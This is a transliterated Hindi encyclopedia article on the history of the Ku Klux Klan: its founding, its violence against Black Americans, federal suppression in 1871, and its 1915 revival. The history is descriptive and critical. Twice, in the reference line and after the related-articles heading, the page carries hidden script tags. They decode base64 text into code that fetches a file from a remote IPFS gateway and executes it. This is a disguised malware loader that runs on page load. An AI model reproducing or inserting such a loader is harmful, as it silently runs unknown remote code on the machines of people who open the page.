कू क्लक्स क्लैन
koo klaks klain amarika mean dakshin ke habshiyoan ko dasata se mukti milane par avaidhanik upay se apani shreshthata banae rakhane ke uddeshy se goroan dvara sthapit ek sanstha thi. yadyapi koo klaks klain ek sanstha ka nam hai, kiantu vastut: vah ek aitihasik aandolan raha hai.
parichay
koo klaks klain grik shabd koo klaks arthath patti ya vritt se sanbaddh hai. 1865 ee. mean tenesi ke pulaski namak sthan mean is sanstha ke pahale adhiveshan mean isaka nam koo kli rakhane ka prastav upasthit kiya gaya tha; kiantu logoan ko yah shabd kuchh kamazor jan p da, isalie koo klaks nam rakhane ka sanshodhan upasthit hua aur vah sanshodhan svikar kiya gaya. isake sath hi anupras ke karan usamean gotrarthavachak klain shabd bhi jo d diya gaya.
uddeshy
kaha jata hai ki aranbh mean yah ek nirdosh aur keval manovinod ki sanstha thi, par uttar se bahut se rajanitijn aur vyapari dakshin mean ae aur unake prabhav se is sanstha ka rang badal gaya. koo klaks klain ek aisi sanstha ban gee jisaka kary habshiyoan ko dara-dhamaka kar goroan ke matanusar chalane ko badhy karana hai. is sanstha ne apane is kartavy-sanpadan ke lie kuchh utha nahian rakha aur habshiyoan ko jianda jala dalane se lekar sab tarah ke akathy aur kalpaniy atyachar kie.
veshabhoosha
isake sadasyoan ko vishesh prakar ka vastr pahanana aur muanh par ek saphed mukhauta lagana hota tha. ve us reg ka hait pahanate the jis dhang ka hait madhy yug mean purtagal aur spen mean vidharmiyoan ko jalane ke samay pahana karate the. ve ek lanba gaun ya labada pahanate the, jisase unaka sara sharir dhak jata tha. is prakar sari veshabhoosha aisi hoti thi, jisase ve eesaee mat ke anusar shaitan ke sadrish jan p dean aur habshiyoan ke man mean atank ka sanchar ho.
aandolan
yadyapi is sanstha ki sadasy sankhya adhik nahian thi, tathapi amariki samaj par isaka bahut bhari prabhav tha. un logoan ne itani arajakata phaila rakhi thi ki 1871 mean rashtrapati graant ko kaangres ke pas vishesh sandesh bhejakar kahana p da ki is sanstha ke sadasyoan ke karan sanyukt rashtr ki janata ke ek varg tatha adhikariyoan ki sthiti khatare mean p d gee hai at: usake rokane ke liye qanoon parit kiya jay. is par jaanchakar 14vean sanshodhan ki raksha karane ke lie kaangres ne fors bil namak qanoon banaya. usi varsh aktoobar mean rashtrapati ne adesh jari kar avaidhanik sansthaoan ke sadasyoan ko atmasamarpan karane aur hathiyar dal dene ke lie kaha. isake paanch din bad dakshin kairolina ki nau kauantiyoan mean bandiyoan ki mukti ke lie yachika prastut karane ki suvidha sthagit karane ki ajna di gee; aur tab koo klaks klain ke kee sau sadasy giraphtar kie ge aur dhire-dhire unaka aandolan samapt ho gaya.
doosari sanstha
is sanstha se bhinn kiantu isi nam se ek doosari sanstha 1915 mean viliyam joseph simans ne atalaanta mean sthapit ki. isaka uddeshy goroan ki shreshthata banae rakhana tha. is sanstha ne habshiyoan ko hi nahian, yahoodiyoan, roman kaitholikoan aur amarika se bahar paida hue protestet logoan ko bhi apani paridhi se door rakha.
1920 mean edavard yang klark namak ek patrakar ne isako susangathit kar dakshin ke atirikt madhy aur prashaant mahasagar ke tatavarti pradeshoan tak phailaya. 1926 tak isaki 2000 shakhaean ho gee thian. rajanitik dal ke roop mean usane itani shakti prapt kar li ki usake kitane hi sadasy anek rajyoan mean adhikari kaangres ke sadasy nirvachit ho ge. is sanstha ke logoan ne ashvet logoan par bahut atyachar kie. use rokane ke lie rajy sarakar ne phir qanoon banakar chehara utar kar chalana anivary bana diya. klain ke anek adhikariyoan ke charitrik bhrashtachar ka bhandapho d hua aur unhean saza mili.
phalasvaroop is sanstha ka prabhav bahut ghat gaya. yah sanstha yadyapi shaktishali nahian rahi par mari nahian hai. ab bhi jab tak chhadm veshadhari logoan ke dvara, jo is sanstha ke sadasy samajhe jate haian, sarvajanik roop se habshiyoan ko jalane ki ghatanaean hoti rahati haian .[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 3 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 84 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>